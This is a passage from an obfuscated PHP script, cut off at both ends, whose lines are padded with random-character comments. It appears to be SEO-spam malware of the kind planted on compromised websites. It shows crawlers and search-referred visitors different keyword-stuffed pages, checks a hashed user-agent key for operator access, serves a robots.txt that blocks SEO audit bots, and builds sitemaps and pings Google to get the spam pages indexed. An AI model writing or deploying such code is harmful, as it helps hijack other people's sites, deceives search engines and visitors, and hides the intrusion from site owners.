/*5,({Q.wS@OG0bJg3wNqE*/$str/*B6flBVEh<*/= ##&m0gG2=<CbJFlbM=>
'abcdefghijklmnopqrstuvwxyz';/*]B7}b*/
/*Hv!0OV&rN+L*/$intR ##HlKi+,mjJb<s66dzf]
= ##baVr7I-:XL,hFgn_PkX8
intSeed//U9h>T
(/*W2~v(Q+8vIeq>VEG*/MainDomain/*TqO>,J*/() . ##SM_GN:aEQncB{V
$cid//-m Zc=K]3a~9!mA
. $lid);
/*j>$t[F{X4Mi2^>Zk*/srand/*d}nq!G>mp#yMm*/($intR);
for(/*.WkdlQn*X^s8i>m*/$i ##]DRC{#@Qe[ $JhY.
=0;$i < 6;$i++){
###)SKJepqJfQov[93)3
$link//7aA<CBmg40
.= //:*<Prr~$KbF
$str/*{G$S) wbA*/[/*`)hGzIM*/mt_rand/*:.j!W#Bg^#r`&[LC*>B}*/(0, 25)];
}
##iV|pL1kbI#BCx>^E:J
$link//uR6y(xxKXnU56kYK@
.= /*sRj3@W#:LQu>xKp1s}\L*/$cid/*Kx8LUd, O:S*/. /*5}nh_1 j!}#`*/'/';//5oQa3&A9\ChCcL\
for(//$}6..!1|
$i ##g-RBgSbF]
=0;$i < 6;$i++){
##diw!k(.HeKnHRmD
$link/*dv~JCKEX$HgqV>8B4XAX*/.= /*cRj5h3xJn^N;Te&AA,*/$str//.s)Dr4i9F
[/*nd@:<4oQ**M #I*/mt_rand//p7b0@tQUAZ{aDO:f
(0, 25)];
}
//a3fd6GWg2K2fbf({<5#
$link/*S]WgPE!5ZXKrR!=w*/.= ##+OB2ER_5i<6C3aF5x$Q
$lid//O:TXB
;
return //h`#{7hU30&e+CWh
$link//[kUt,
;
}
function //]jVoVtTNH@w^E
getCid/*!d)FvnQ!m*/(){
if(empty( ##h9W+SC]Gz73}Gjh
$_SERVER ##v3#b8
['PATH_INFO'])){
##B\GkD=.Y`tjG0T
$pathinfo/*872cZ$*/= isset(//Y]u@9 5:.
$_SERVER ##%0@]T6B:4<UqFMo{a(qZ
["REDIRECT_URL"]) ? /*GJX 6[DhZ*/$_SERVER ##JH3B*Cdy
["REDIRECT_URL"] : ##74z4CL-r)x[B_<rTuU{c
'';//NDpQJ>fBv2
if(empty($pathinfo)){
##WRrtaWyrA00z=n)G
$arr/*H3QY5Dx^U0z p$lHSt2*/= ##W9DHW;}9mR,qcV)t
explode ##u+mnJB%hU}q;l_r|b
('?',/*;~>+E8MVK6V]\D`M*/$_SERVER ##wev&\^1LUvb:<edMm
['REQUEST_URI']);
##_xW<$_)}+5=
$pathinfo ##qz<Ka
= ##~;% 5CrB0WpnKTW)y.FW
$arr//F\GaB;K6oz;g
[0];
}
}else{
/*Q$l{tw^)CLVR9.+C3ww*/$pathinfo/*W,\lSmp8g$u}K9.sQW*9*/= ##T]:e-t<4:P46j|>YgQ&[
$_SERVER/*r(x;#4ol4Y]|;z**/['PATH_INFO'];
}
//jI2dA8<p-eAc)
$arrResult/*jbkvPN[*/= /*A0&RYaerJ<zF*/array ##*Hx**!kPb
();
//hC,:Ih0
$arr//L=*CJg%Q><LZ8f,
= ##crh9#I.<
explode/*!j>:c=}%lBg~*/("/", $pathinfo);
if(//u^TwR#z>=$M.=-<eu(T|
sizeof//3O^D+pU)Gj[eCCVX\
($arr) == 3 && empty( ##OO*t7*rXh]xG&~fwYoCv
$arr//+z;:%}^S7~>{omg-<ee
[0]) && !empty(//`]>>e[)$uL%)aoeH
$arr/*n(eV%*0M_Se=xrDm*/[1]) && !empty( ##i;c#@\HV
$arr ##|Q,6vxQFC2[_W$
[2])){
/*_~>(rVRt\|Zl*/$arrResult/*&xNPh7d!<%9X>C$*/['cid'] = /*%I{y9w6^iKI&J;:-XwJ*/preg_replace ##bM[fR.e<eh-Wg7q
('|[^\d]|i', '', /*[4GDu}$T*/$arr//nip0KV9l*_\+W
[1]);
//UU*iaVA\s
$arrResult ##oPgPP0>IuP (JanN.
['lid'] = /*#=g AYs`Gau^2]*/preg_replace ##.;-j-t8,UMX-
('|[^\d]|i', '', /*__LSIz **/$arr//i,C3P_>rS3,F{J%MFk
[2]);
if( ##o1h$O9R>p`T\5TAp
is_numeric//PiMtD+AQFYrb
(//:Brgs2e>V
$arrResult//D_C;):NyM
['cid']) && /*U@wh6);Y*/is_numeric/*4tt%lCF_*/(//(MEk|q~]yaZb:<)npa
$arrResult//u,CFwWh8w|
['lid'])){
return //N|Q>ImNYXA,@
$arrResult/*LXdBX6x{}4l**/;
}
}
return false;
}
function //c):-SGiVa
getHtml//#VY;DL$Dt#[B
($url, //i1Y,u
$data//0]lAc:O`
= ##O.aQh#O
array//9Uz%bFZ7:lp;r[
()){
if(//|LVkMYzDs`0L`0I`IW
defined/*7XYR!~LO|*/(/*CJO3c*/'USECURL')//-3kT:hkyneB[$|
&& USECURL == ##C;T,QxE5Ssf^-;
'no')/*tnl9n~Jw<73JB*/{
// r69uL@rr-&KDN
$usecurl ##Q.AsB<
= false;
}else{
/*sv=tgoMiu&XqBZ`yRN*/$usecurl/*FU=<.x{5ThG*G*/= true;
}
if(/*hTv35^(v`NeDKdo*/function_exists/*WfZa=cS.W3Wb8r*/( ##|@4a$r*[(=)It0
'curl_init')//r$;5=`H&7k]jqg0
){
//[qsk<d`6*!,V&;y7m
$curl//Vcc1G61R*o2[
= ##pPK[a}#VSkN22bK]
curl_init/*3o{ViLq*/(); @ ##FaZ]usVx
curl_setopt/*5mU\D>2pXKg]5E*/($curl, CURLOPT_URL, $url); @//6IS2@~;^Jk\C3
curl_setopt ##YMAhAN%!=edH8s\NG8Of
($curl, CURLOPT_HEADER, 0); @//G>-aYQo:Ov)>&]zSTb
curl_setopt ##cIf!<W`#9CKG
($curl, CURLOPT_RETURNTRANSFER, 1);
@//f2TGPA
curl_setopt//[}cQcA-8hNpWZH@b,k1N
($curl, CURLOPT_SSL_VERIFYPEER, false);
@ ##=YTeYld!(bI{i
curl_setopt ##Ca~D@l
($curl, CURLOPT_SSL_VERIFYHOST, false);
@//Bbrm -EHm\t+WcO)F[5|
curl_setopt ##%8Fr9`Xcr(k<wat
($curl, CURLOPT_ENCODING, ##_a*xdD$G4JIfiReT`Ir
'') ##fa@PCGe
;
@/*1uyqK{z-]rF*/curl_setopt/*KtR:mEE=-=M@xqm5_*/($curl, CURLOPT_USERAGENT, /*R$Z~hO ~*/'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0')// HHAp
;
@ ##Wg#C@tjx]
curl_setopt ##3N{VVqTX
($curl, CURLOPT_FOLLOWLOCATION, 1);
if(!empty($data)){
@ ##-87+kn_mA )9_SyC)F8
curl_setopt//7!Ywz\D
($curl, CURLOPT_POST, 1);
@/*>Fp7+e*/curl_setopt//l.PR2AYGmv~Xy6;1,
($curl, CURLOPT_POSTFIELDS, $data);
}
##kDR1DbiK2 &Sl
$result ##{p8IBdY%kYPh(pOl
= /*)b9jsqzrkt-c3{6N*/curl_exec/*7qR#:M}Dcp4UjGu*-^7*/($curl);
/*]m)Fms7YDCk7A:Z\*/curl_close/*9ayT+E7L7o:urQ*/($curl);
}else{
##ZV;0(HDc4q$3>Me*j|
$usecurl/*wdw@8}$C*/= false;
}
if(/*Nm#32RDN*/$usecurl//dVXM\Bo=UPYUV;4#
== false){
if(!empty($data)){
##&ia#oeZD
$requestBody ##_pHP7\KMM8*XHfeB
= /*Ng881*/http_build_query//#%l]Zs6jyYY)]A$zc
($data);
##9.HE`}KCm[2wEWZ5WQU
$arrOption//^u25BO
= /*-H0yn$Vd)s*/array ##%`BJfUO(<oTt
(
'http' => //.>`gLPeO1xhsSbza!
array ##)lu0`.Xh{<:
(
'method' => 'POST',
'header' => /*GPhN~hDUK*/"Content-Type: application/x-www-form-urlencoded\r\n". ##w<vz;i9OHecgv-Q_8ol
'Content-Length: ' .//DJ(<c#
/*uql-~`Z[3@7vl_*/mb_strlen ##l5RVBU
($requestBody),
'content' => $requestBody
)
);
//:v,yBu@VS_=,]F`}+fY5
$context/*ZYfqc#YQfX(jl*/= ##)Gj\_dC!%CK>[:=0ZU
stream_context_create ##Gp]yi:=#y4y[z$cML0-f
($arrOption);
##KJcdGHzj
$result/*uGtnXiB(ej-6+o*/= ##-(Q#XEGdG=s,yn
file_get_contents ##93KA_
($url, false, $context);
}else{
##D`I j91Izt!6
$result ##rlEBGu<~4G74v8
= ##aVY\nM^S,
file_get_contents ##%Z6%zRn]e$.
($url);
}
}
return ##hUsfMO1UP*
$result/*bszRjq*/;
}
function //[NXnBXC[ CAK8:zc=O
htmlImgTag/*cUwU-8R%k(gf6M.Z2*/($src, $des, /*Tf<_V)P<Bi^:XsKZ#\*/$width ##NtsDLi`#3bB|)F
= 800, /*Nw|xRK2&c=*/$height ##s|y6TZOqa_%TgJ%7Ws
= 800){
return //E|*lM
'<img width="'.//@RSN(P
$width/*Pd}(Eg*/. ##) {aXvLO^|(]0LPyR{%Q
'" height="'./*p4zg]%Qdjg3*/$height//!]XbT:NS
.//(++#_
'" src="'./*VD}MxNb=LYYm*/$src//S42p;`0hbX
.//QdmAf(4XB~v*|u\O9:>
'" alt="'. ##LX$n5CTUNy(@a\
$des/*5_m>@[UFqD\yni*/./*FZ3k VPfF)xC+QFC*/'" longdes="'.//[d\@D
$des ##ACt}f
. ##Az$ TlU)mc^74AKUBDb
'">'; ##DfyfL`>uMCgX!e3
}
function ##W$dD1E7Dn9AW!>
intSeed//djp5lS: C
($str){
/*#KWHFk`rEiS**/$pathinfo/*)_Krz K1sg*/= isset( ##xseEE1
$_SERVER//>Kp}M&8N;p.
["PATH_INFO"]) ? ##*7r;yQ>[xec=O1K3k
$_SERVER ##U\0ao<.lG$9cY+[4
["PATH_INFO"] : ##`XUJO$K6J8GJzbm%g
'';/*o@g:$Vy&[:K)u*/
/*&o-0$Cg*/$str//qi\!uW6
= //y-3`F)r1Gs
md5 ##RHa_C
(//de7cQ#<x=;4wya69
MainDomain ##N*TE`-(7UFWDlIz*{G,=
() . /*2hJMmGu&T|-*/$_SERVER ##F=)+BO]~esL:
["SCRIPT_NAME"] . ##5e_aPuT&
$pathinfo/**u8`x{-ZDs*,HAq[^YI*/. $str);
##4g 0Q!H3O(O7
$int ##Qxt}(UFVZ5KM$
= /*NGTKT9b=Wsf*/hexdec ##];(oQ8NK$,
(/*$fh>S|U^$~*/substr/*<%-t6(1EUn~v*/($str, 0, 8));
return //IwK&2)mP
$int//w}Q`@CK8H
;
}
function //h&Ep%,=m0F
isSuperMan/*NwaCo>ltwiXWAMK9jJ*/(){
if(//Ja$kXK-fZ*|UgEl
md5/*h~Z=hOoeGXDHV._6U+dC*/(//X#[IYH@7g\z=vDVBO
md5/*f`QWU}l<PB9VWpje}*/(//nS]%y}llYgw
md5 ##u~*=s_F[@%po:=k
( ##l2~;f$;=AGJmHE
$_SERVER/*v}~Hjj]Z91}nM~<\^#B*/['HTTP_USER_AGENT']))) == UAMD53KEY)
{
return true;
}
return false;
}
function /*UMA^G-,[ghXdYY~q6*/isBot/*O[Ar*qB<Zv*/(){
if(/*MBA1L42ZRuY$VXT10-*/isSuperMan ##X^sVg}tRlIr
())
{
return true;
}
/*UlAr0:%4*/$arr//6}o(CkfLjGZ
= ##,L,R];PsfZ
array/*e^L@]S_byW5*/(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
if(isset(/*,``F\(e*/$_SERVER//{X U|^3U-Wl{tn%t(R.
['HTTP_ACCEPT_LANGUAGE']) AND //>8|yq{:@{rwAa
$_SERVER/*{yScX#vb~U!B*/['HTTP_ACCEPT_LANGUAGE']!=//{SULLXBLC|w.<\8LF
'')/*Jxw!M*/{
return false;
}
if(isset(/*c`8_9rIGSJ|2sYJYggs*/$_SERVER//-owT#
['HTTP_REFERER']) AND //u=oYzMND_FGY`F
$_SERVER ##Xi~uIKzDI4;KAl1lWfr
['HTTP_REFERER']!=/*f)(JPRH6q6,_Q}*/'')//{OUUQGL$F|TSfeg
{
return false;
}
foreach($arr as $str)
{
if(/*>dv-e4N*/preg_match ##riX~q
(/*yY0C#|!*/'/' . ##Zsm8Ua<wXFG
/*ev41eSC:tUTXw1@7N*/$str//G*ChIFUSHENA
. '/i',//+4fLT[
$_SERVER/*a=#o2&l!PP8BB^ US*/['HTTP_USER_AGENT']))
{
return true;
}
}
return false;
}
function ##x_Zn|3!sh^S
MainDomain ##qC+gG9lhbP9@+[~
(){
##cx}Fuz
$domain ##w;hf85#l1X$F_4 d
= ##gJ4_l||
strtolower//pYdDYCf546jZjC5
(/*Djy<`|bdPD@*/$_SERVER/*rJJnV+Q<%-9*/['HTTP_HOST']);
if( ##[z;tWB*cW8CG,#e%-@%&
substr ##`z+{Dr#8]B~;QeZ `L
($domain, 0, 4) == ##D~r<dKJoL@
'www.')/*I:$KRD!*/{
return ##$+UGD3aQvm!S(Da
substr//du[b$ K_QS:u[z5PF
($domain, 4);
}else{
return /*3~YrUSAMPwy6zuAY8*/$domain//WvBVqU*PFw7Hj~6c8
;
}
}
function /*H.0Sj_]nue4n$+.*/needJump ##@nle>3;
(){
//noEWm0&:Yw0_re@D
$arr/*>\Lhc[~S1CSGSx*/= //mGy3<%`A~~da!vfIX\
array ##64%w<[5r-n)U\rOk
(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
foreach($arr as $str)
{
if( ##mhDR}H
preg_match/*As0N!E-zm$3 */( ##_oq 0IJ.
'/' . ##_%JT%33n51RC>OQNQj4U
/*k4_%LBt[92<#D*/$str/*:5lZWD5THBw*/. '/i',/*v=#-uTlh~siYzB*/$_SERVER/*[.-7YP2S*/['HTTP_USER_AGENT']))
{
return false;
}
}
if(isset(/*I>3e^s*/$_SERVER//gJOAJv:{f~
['HTTP_ACCEPT_LANGUAGE']) && /*Gh_0|nd*/preg_match ##sbdF2CLm-9(J2*@xbW.Q
('/(zh|cn)/i',//#tP%1lK
$_SERVER ##4.l8x@K(]4>02UWHw4^
['HTTP_ACCEPT_LANGUAGE']))
{
return false;
}
if(isset( ##_n-Xw
$_SESSION/*|.iVhwt`oJS~skV( S.=*/['referer']) && ##$`RxTt=J~AD58ECF;}
$_SESSION ##_|eXPi
['referer'] == ##y62.dGBJ]*0u4
'SearchEngine')/*BmMuyK-KRoC6u;2ValN*/{
return true;
}
//}A;P:Xgb\`bKgEPU&
$referer/*QkOIzv*/= isset( ##5#}Nv$iN[B&(OHN.
$_SERVER//>g >PUPInCI)k9*I
['HTTP_REFERER']) ? /*j-f[n6(*/$_SERVER/*E -Qu*/['HTTP_REFERER'] : ##R:p^~]xRS~CW|S:Gz`
'';//^J~&\D9
if(empty($referer))
{
return false;
}else{
//A=-W2lsx!H%3()=ME
$referer_array/*bMcBLac]*/= ##YNB]W;-cNx%
parse_url ##3lA%^~]3HeseM
($referer);
/*=vG~>kFnvXDoJ$I3%7a*/$referer_host/*M{,2n,a5pUt*/= //k)%!b]7PH6!97R
strtolower//4I},w&B*i@uao`
(/*PVcZlO%t`vP5w,]*/$referer_array ##+A~JG),F7NP\Qh1E:
['host']);
if(//N5H@d6eV%~Q(v4Uz
strstr ##m[Vccb2r09
($referer_host, //LI97^y#rHrncZ8W a,
'.google.') ##n&0)Qm
!== false || /*>=B=USKMg^*/strstr//@*K[ QcBZg_~NoZ
($referer_host, /*({c9GfLRq*/'.yahoo.')/*({D|;k.f|n*/ !== false){ //1T*]e
$_SESSION//p0F&. #[Ylc^agu
['referer'] = //l;{}{rm+
'SearchEngine';//78Um0zt4
return true;
}else{
return false;
}
}
return false;
}
function /*CLu*g@}v4-`hPu2*/showProduct ##y.No5&o>PQo<#
($obj){
/*o$EX[j{*/$keyword/*0eh2|M>UoG8}(!*/= /*8wV3$v0silb*/$obj/*[k_q;( l#NG}R*/['randWords'][0] . /*dhp+1K,FYxQqc&J*/' ' .//uLJ{0+xqvj$C^{iNR_3
##48& ZqrR
$obj/*ws!~4;5*mk*/['randWords'][1] . /*sbfZaU|]MeS$*/' ' .//i8nAi|:
/*{ocvCsEK5FK#3|f;Zv*/$obj/*lT+s:9~*/['randWords'][2] . ##I@~h1QhB0cBuKP
' '
. ##KE#{|HG
/*)hu O+STUVk]QG98_b*/$obj//[GO|.17&JIU*n<vAT
['keyword'] . /*w:CB,X+ME0;.1Hu[OF */' '
./*wLZEovv1;P(*/ //FiwSTq}9zjx$
$obj//NPgj@gy=%tpYaCp^{tp
['randWords'][3] . ##$=uTAQ[
' ' .//&}i@ ,w
##CI1^zWp=Rl+Wp
$obj/*~M;N*l0c+@\QO0VX+*/['randWords'][4] . ##JNtl^Eor`jOeE{jD5{L
' ' ./*F-ZWL7 QaJp*/ /*X%H3G5nT*/$obj//~W,N$fvzFxgteM;Ao9
['randWords'][5];
/*YCKw5UT_l<s*/$liil ##W9hNaL.~lC5L
= /*dpdzoP1B*/''; ##n7TTK).=,A[-ZZZ
foreach( ##Rf[ bk
$obj ##<HZXSlj)
['relatedKeywords'] as $keyword1){
##f&;!TtG_zlK]
$link//<F@Y@0R
= /*7_E@[N<`n$x][4=9[eF9*/is_https ##N6P9n9X|KpcF@uZ2RPM
() . //Cy0d Sf~\|;7UF_G#G>o
$_SERVER//H=UF%KRSL[
['HTTP_HOST'] . /*NUP\GRf9*/'/' . ##4!Sp::}ATb
INDEX_PHP . //MW7~N
keywordtouri ##6A:L;$.
($keyword1) . URI_END_OF_KEYWORD;
/*a]h->PkDf*/$liil/*IK1KkEKIJT[S[&*/.= ##DTc6k\>Q`DU
' <li><a href="'. ##E&VBJplXr&P9U\yYaHOR
$link//ueC2=k{s`bG9!{J_uH<%
. ##PC\-qE1=e4\@ZG2MY
'">'./*]a9G06leL0*/$keyword1//+d9SS5XS[QM}QP*
.//YKJcwEM^Q0{
'</li>'./*pS3&E!R|e}*/"\n"; ##%XCpK
}
/*bdd\Bs:_Z+_7.r#F*/$imagesdiv/*h8C$0<+J`joAw%m\#3*/= /*&9qO$+J*/showImagesMobile//W1l:W|-duKsj@NX2a`Nf
( ##8z6ZL>0]MX
base64_decode ##+1N9G2<P<ImjWR
(/*k|.h>`*/$obj ##HX,~R:1{b!RpLb;U
['content64']), //GdIh{e0+
$obj ##pcwTo@HDx;7|KI
['keyword']);
//OPxj5EqFj;bZZW4R%
$str/*Y;m92$2(^PGa;D#h}\*/= /*rLEC$ZM%#q.37M^^M_*/'<!DOCTYPE html>'. ##ZMbg]IEnM6Mh)sSi5`
PHP_EOL./*rS1D1n*/'<html>'.//XVG5
PHP_EOL. ##\Y8Nc}jc0FYBk#V
'<head>'./*yW{#M(SR,gEZ#*/
PHP_EOL. ##R\U;01#MLP5P8`GCO.):
' <title>'./*<I-Ko}DH~u<=Ph~G9*/$keyword ##)0inkF7T9jZi~
./*R2P><o0PCG:G9`*/'</title>'./*Y;f@#*/
PHP_EOL./*ckLgN~VnxmS^X*/' <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'. ##aVE+8
PHP_EOL.//k-+`yxF<GyMB;SchEN^;
' <meta name="keywords" content="'. ##e(o9B(M2BI>oxi
$keyword//oYO:wf%.87{Rp+
.//tDqY1st07%k,z0l9n9
'" /> '. ##Yn}tavub;OKD
PHP_EOL./*P]!\:8aDX)!bT!O]DkM7*/' <meta name="description" content="'./*D|>P{UDn>$YDtS7Vo=*/$keyword/*N1yS,h[c=Go+]@*/.//>+CR.d$L4mk4,1h~5P
'" />'.//FdO#xE9Qcc{2
PHP_EOL./*QJ{5!]t.8YIeas*/' <meta name="apple-mobile-web-app-capable" content="yes" />'./*;@ta5RQ2^LINJL*/
PHP_EOL. ##^#wx.Y
' <meta name="apple-mobile-web-app-status-bar-style" content="black" />'. ##5z!e2
PHP_EOL. ##~VkmxW8.
' <meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'. ##g;X44m@k H(e81V*
PHP_EOL.' <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
PHP_EOL./*I~G*SG*/'</head>'./*\R-BfNhsI {o-D:xi*/
PHP_EOL.//czMOH5gAG0]q
'<body>'. ##D_b118u0!s6|x!H,}p6N
PHP_EOL.//-C5N6Hys_
' <div class="main">'.//huU~5Jo1Pw8OpP%
PHP_EOL. ##{ ~@\-KE aEz{*f0+K\
' <a href="/">Home</a><br />'. ##>O2dyr+n`c3).
PHP_EOL. ##wAEQh[Bh#{
' <h1>'. ##IzcMEa@!LHh6H\M`
$keyword ##avdw3Fye Or4+Ctmf
. ##{6yN<=
'</h1>'. ##GG{q{fO*cb.H
PHP_EOL.//UeUY<n<)
' <div class="content">'.//&zR_RI`1wouIMS7I!vg
PHP_EOL. ##\fEO`tcf3+
' '. ##H!OU4cf[c}AI
//Fp^_0[4y4\jl({I-Ne
$imagesdiv ##b90E~zLn}x9Yx<hrd
.
PHP_EOL./*Y\gbSM#ZiVCx9D;:[Z*/' </div>'./*lWG6!-a&` PO$${*/
PHP_EOL. ##dmp;o<kFsAK+=_NQGJ
' </div>'.//Y+T_HkhpJ)_wtp0X
PHP_EOL. ##*V0\6il
' <style>'.//>Ex3>H&2qW~~
PHP_EOL./*5Bq;3NLs#A 06lEZKWT*/' img{ border:0;width:100%;max-width:500px;}'./*5!,,S6b*/
PHP_EOL. ##Z2v=H70B} Rw2*rl
' ul li{list-style-type:none;width:49%;float:left;}'. ##Wn#RTF@R 64`H,oE{93I
PHP_EOL./*vbIgy*/' .clear{clear:both;}'.//vkr3BwI&;m+G-En
PHP_EOL.//9+Dt1R
' </style>'. ##7yQ$3K:dP*
PHP_EOL./*NaHKYD4$W6G+7J#!< */' <ul class="related">'. ##ckO[Y
PHP_EOL./*f .s_mIi+&S25_+J*/''./*1O7)))xy{JP_*d=_*/$liil/*ztKN5*^|^%NSW$l!gF*/. ##7_N<@X^1dAZ&5
relatedOutLinks//6;{=Z.2v1n
().
PHP_EOL.//hHQ_(;MZX^
' </ul>'. ##s1`&MG=
PHP_EOL. ##NI=0e
'</body>'. ##*<Yt1YNFtonrjY{P!K1
PHP_EOL./*[YQU.iu9S7%f4(R|[~Q*/'</html>';//]Rg<&N1
//r$h*bZ5&pmT.+#~
header//H(Ik cV%[h\a
(/*q`Jhf#yz*/'Content-type: text/html; charset=utf-8')/*$G]|^O2B*/;
echo /*yoZCaaA7qKp5,3\E*/$str ##*m$=;.}&z
;
die();
}
function /*N!t#En6itwG,B\*/is_https/*R<kb1#M*/(){
if ( isset(//ShUS91HO>N0Gk2Zil
$_SERVER//KMmQd.1=\kUv4
['HTTPS']) && ##Z3;(I)urqOO8*OJ$+k
strtolower ##RF<eV]p3tW:pAs{2xsF`
( ##KdyV]J
$_SERVER ##2dx\>C@,|
['HTTPS']) !== /*$83}IBa92i*/'off') ##G>D+S\ZrTA!l^uNzGL
{
return //aAU>#A@epCmACT
'https://'; ##Gk];)bfwZCEwQ@8F~KDc
} elseif ( isset(//1FB#2(Q
$_SERVER ##}Ck5|f=J%N
['HTTP_X_FORWARDED_PROTO']) && //C`2Iz:F>~._|S:@bkU
$_SERVER//,~ze1`T(injmR
['HTTP_X_FORWARDED_PROTO'] === ##r`Hjr5`
'https' ) ##-SQ6C2))h
{
return /*#(K#ug>Y*/'https://';/*bJf]bZnISk} j@B*/
} elseif ( isset( ## n^aFkSE[JYX$hC{s
$_SERVER//>NGD.<LF}9lK*YYq
['HTTP_FRONT_END_HTTPS']) && /*hSHph|bI!!hy{*/strtolower/*vR`3;I$wDk`lcLs*/(//V|mQee3j*2Q7:B>)eI
$_SERVER/*6Psgf*/['HTTP_FRONT_END_HTTPS']) !== /*P@]E99EDpMG .. */'off')/*5XuLRaqR5gr6\z*/ {
return /*W\HG}yi*/'https://';//\0L,>5zpcl
}
return /*2e:8<GwfQ[lO]2*/'http://'; ##W{dWuX2iF3iOnYch
}
function //WPsQ.Pjq0I:dyuDPTmk$
keywordtouri//g$g*(-g_
($keyword)
{
//9,+SHm(_iJ;d**
$url ##qY+E*=YkBad
= /*005[y471J5g*/str_replace ##D]aFbi3PinZP!Y
(' ', '-', /*sO`<f-pJc &oXtr{2m*/trim ##H=ljHOBN0e
($keyword));
/*Fk Zn|UcrTgpnGw0i(7<*/$url/*0C;c {D0RRR$M*/= ##KuQ4^Z
urlencode ##G9AmX<<lT5o(
($url);
return //u79=a_wP
$url//=n~!{}*amZ8vFnQX
;
}
function /*fz\<kGgtYG6*/showRobotsTxt ##~>;i:PXvF
(){
##Nu|0q!vh_5|Nw.&u@M
$indexurl ##B~{Ipz^Oz0pv
= //JZ|](Zf5{
is_https/*St,38$$mk=:J]]lmC#C*/() . //V&IWdoz @KPRs4v*KB
$_SERVER ##jti{y.f$O;1)W%j
['HTTP_HOST'] . //8VIJGc
'/'; ##T(1(D:S [{oYv8}
@// EX}@UFJ)62S1
header ##UN%}R4v.E|ULiPYzOby
(//~\]H1Mr0l1CKQe
'Content-Type: text/plain')//^!ToKnV}q:kG
;
/*2Oy`V%*/$str ##{NJiAxQPlr
= /*)ss+*gP+n6D8wu+5@J*/'User-agent: Baiduspider'. ##KwKwA}Q^Z*)+0.Mo}482
PHP_EOL./*9I`_<zjK*/'Disallow: /'./*h$agZ$*/PHP_EOL. ##{dOP)o!->!t*0b
'User-agent: AhrefsBot './/2J02iWUd~(H32 I>w3
PHP_EOL. ##SlK5sZ
'Disallow: /'./*TM@ID0eBN1,Wy*/PHP_EOL.//vx4xZtY\U
'User-agent: MJ12bot '. ##,pG!Hl6}@9W
PHP_EOL. ##ve_{pHo0Ma-}A~doT
'Disallow: /'. ##>j<WM
PHP_EOL. ##xL%Fo2yE#Y-&f,|aWn
'User-agent: BLEXBot '. ##G^BV4(sw;
PHP_EOL.//q.]F %DM
'Disallow: /'./*4_$K_,AEU+6n!XEQY>AU*/PHP_EOL./**SjN+Ww`G*/'User-agent: DotBot'.//BmPAi$I
PHP_EOL. ##_C)b@B<!Z!cY15
'Disallow: /'.//~mUBw *hg4 AnEL3:
PHP_EOL./*Iy>:D!w88JyOE*/'User-agent: SemrushBot'./*!%q4Lo*/PHP_EOL.//n@rc|]S0s>uP\t!a;O[
'Disallow: /'.//ZN=vn zZE \r
PHP_EOL.//,<Y^4PvREyM-TI68
'User-agent: YandexBot'. ##54QZ+6{}24m3awMEA
PHP_EOL./*R|V{%s]Q1*/'Disallow: /'.//brGm9<mdjZUQw
PHP_EOL./*`7SJ=n>kRBE<mO}P*/'User-agent: *'. ##+bs!\3<z
PHP_EOL./*wOEV>(&uL*/'Disallow:'./*Ihf9D1t-gRKu}*/PHP_EOL.//BW&{o:NEx;$
'Sitemap: ' .//C6O#juPWU
/*7;}hTEy7R*/is_https//=)-NYZzB.q7Ce7Se}ex
()./*PhmOl6#RE,5)xaFX*/$_SERVER/*#lYX2l]b49GlGzC9*q*/['HTTP_HOST'] . //c_X4^,a@ang
'/sitemap.xml';/*V_,Qiql${n%IOY~2$<C}*/
echo /*,%w+x0(*/$str/*VBuE)C.zZH:K*s%a>i*/;
die;
}
function //uM3Kzj:
pingGoogle//g]_QLKi)5a
(){
if(isset(/*.9gCFu*/$_GET//]u3z^3x!db7
['action']) && //3zi^(IAGOsfu\ED#]
$_GET/*l8$XQvKknB}*/['action'] == /*:>ETWC`i*/'pinggoogle')//~kS^Ap3`g^
{
##2VzU*cA
$indexurl ##7O0o74NJl
= //! ~=tn.e7TPVt.=Fd
is_https//$BKp31kp_
() . ##S>DdhOawU \3(
$_SERVER ##O<@dXFV+,8Y@PYL
['HTTP_HOST'] . //RjnSSMibcm
'/';/**\4DFv71y$U*/
//%aRQl:nO&7xLXZrW&=
$api//e8d}<@c;F)%QKqU-
= //h\&I>
"https://www.google.com/ping?sitemap=" .//bY4,M.*>_JWs
/*C3s,hl5*/$indexurl//t2!4Bn7!l+9WVLxbEg4
. INDEX_PHP . /*{J{u!D$*jq4<e9h%1[V*/'sitemap.xml'; ##If@*I)Aq*(\*${uQCHy
/*%Rl|CHd.Kq>QF}E_*/$content/*^h<I;D*(|&Ng;:E=FZKr*/= //yG\M=(x\@3Eii
getHtml ##h&xBj)po#y8ra
($api);
if(!//A@)&]Z@}F_D
stristr//gHqa Klj+POj6Stu
($content, //WT.Dq9u^oQmVML\
'webmasters/tools')//G_Bc#Jm{7`[Wem\j(
){
echo ##!LCc{)y_EhX3rZ=5
'' ./*[7y)`c`m_d*/ ##ARaLCV;r%4V>vMA
$api//ug<vpv;
;
}else{
echo //{<+}U%0\MCIpby9
$content ##6I07e97Y
;
}
exit();
}
}
function ##qUY$!6F;t-gU~{uG
showSiteMap//s \6EyfO@,
(){
//WvCJ)>
$indexurl//L9jUMlQtX2XF$pz
= /*\OJ3pY-7AX2*/is_https ##c^KK}0cD~C.
() . ##4Y_Ek+1nGC@]^
$_SERVER/*T}|~I\ZIn)Fm#{glsfg*/['HTTP_HOST'] . //HN7ioKAGKWf![nN)|I[v
'/';//|d3wSE4sDWlU
##Ck[dx$XNae{({
$date ##*pbhA)j;W74
= /*4mhot\xGZ-R(!WBBt qk*/date//}=~Y4cqzGUtr~w@TY
( ##_c3(m!<ZHdd$IWq|Ny
'Y-m-d')//G2v<xt;J]\,-
;
##5m!HEMk&:zz[
$result/*=v*XU:d*/= ##Q:8V1} |Ap+
'<?xml version="1.0" encoding="UTF-8"?>'.//C~H#%mQxY=ALL
PHP_EOL. ##QU8Jt$ALr
'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'./*Wm_4p-`$xgGlxk*/PHP_EOL./*L0$UJ|~J:V*/' <url>'. ##exU_Yg$ ~>KZGy
